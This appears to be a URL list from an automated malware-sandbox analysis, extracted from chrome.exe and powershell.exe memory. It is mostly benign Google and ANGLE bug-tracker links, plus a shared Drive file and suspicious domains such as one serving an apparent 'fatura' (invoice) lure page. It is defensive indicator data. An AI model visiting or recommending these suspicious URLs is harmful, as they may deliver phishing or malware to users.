https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view_%2Fscs%2Fabc-static%2F_%2Fjs%	chrome.exe, 00000009.00000002.4161571225.0000016802B0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://qvn-63946.1mp3.rg	chrome.exe, 00000009.00000003.2268460564.0000016802FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261330868.0000016802FC0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewSbl.440417381_40722058702_0024	chrome.exe, 00000009.00000003.2396266264.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2480483985.0000016803534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2369071347.0000016802494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/docs-tthttps://csp.withgoogle.com/csp/viewer/	chrome.exe, 00000009.00000002.4179101735.0000016804E88000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompe	chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.googl.comAcw-Credens:	chrome.exe, 00000009.00000002.4159112698.000001680283C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dl.google.com/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkhlaaea	chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com/js/api.js	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com/_/scs/abc-static/_/js/;report-uri	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3	chrome.exe, 00000009.00000002.4164433566.0000016802DA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.comAccess-Control-Allow-Methods:	chrome.exe, 00000009.00000003.2708265948.0000016803F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165270721.0000016802E44000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/tools/feedback/open_to_help_guide_lazy.js	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=client/exm=gapi_iframes	chrome.exe, 00000009.00000002.4159704028.00000168028E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165616667.0000016802E6C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165745323.0000016802E80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://me.google.com/webstoLDDiscoverat	chrome.exe, 00000009.00000002.4170062974.0000016803088000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159901595.0000016802920000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmpp	chrome.exe, 00000009.00000002.4154457486.000001680229F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dl.google.com/release2/chrome_component/id6pvt3izjnss6i2ys3hc5x3a4_1143/efniojlnjndmcbiieegki	chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view0(p	chrome.exe, 00000009.00000002.4158709320.00000168027A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163536253.0000016802D3C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163536253.0000016802D3C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163536253.0000016802D3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drivesharing/_/DriveShareDialogUi/cspreport/fine-allowlist	chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2426512135.00000168034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000009.00000003.1848048829.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845549919.0000016802E54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2471420586.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845521733.0000016802E44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2247312577.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465610125.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2454236346.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173876447.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2452670231.0000016802D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2452739708.0000016802528000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845427581.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164499985.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2194778560.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986256597.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2055944333.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2298835247.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369m	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000009.00000002.4164570497.0000016802DCC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/chat_load.js	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/report-to/AccountsSignInUi	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.googl	chrome.exe, 00000009.00000002.4159112698.000001680283C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3970	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/inapp/	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000009.00000003.1824279759.00004A9C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1824683567.00004A9C0039C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dl.google.com/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/gonpemdgkjce	chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155178540.00000168022FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view0	chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view(	chrome.exe, 00000009.00000003.2261393137.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2426469911.0000016804FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261201121.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261238103.0000016804188000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/release2/chrome_component/acjqljdui3z5uggfurmpxotvwjwq_9334/hfnkpimlhhgieaddgf	chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dl.google.com/release2/chrome_component/glrp3iosgzhorafatuxaf2eate_476/lmelglejhemejginpboagd	chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165745323.0000016802E80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/apiserving	chrome.exe, 00000009.00000002.4159048589.000001680282C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4154267832.0000016802278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164433566.0000016802DA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4169343356.0000016803044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164360386.0000016802D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4158777969.00000168027BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4177620490.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2480320606.000001680253C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload	chrome.exe, 00000009.00000003.1825235759.00004A9C006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1825377889.00004A9C006E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/help_api.js	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/clientupdate-aus/1J	chrome.exe, 00000009.00000002.4164640918.0000016802DD8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html0	chrome.exe, 00000009.00000002.4186195226.00002E6C00294000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6860te	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159768269.00000168028F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/4830	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/:	chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/shielded-email2B	chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/chrome/__submit	chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2162	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5430	chrome.exe, 00000009.00000002.4163380936.0000016802D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.1798080382.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1821692779.0000000004E21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1897727781.00000000042A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2424623714.0000000004931000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/dl/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkh	chrome.exe, 00000009.00000002.4154457486.000001680229F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3498	chrome.exe, 00000009.00000003.1844849203.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1843623987.000001680256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1844879024.0000016802CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164782233.0000016802E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en1062430	chrome.exe, 00000009.00000002.4164003970.0000016802D50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/download-dt/1	chrome.exe, 00000009.00000002.4159450352.00000168028B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162244534.0000016802BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4161636345.0000016802B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icofrom_play_api	chrome.exe, 00000009.00000002.4164570497.0000016802DCC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/viewer/Referrer-Policy:	chrome.exe, 00000009.00000002.4172857865.0000016803418000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261330868.0000016802FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261201121.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261238103.0000016804188000.00000004.00000800.00020000.00000000.sdmp	false		high
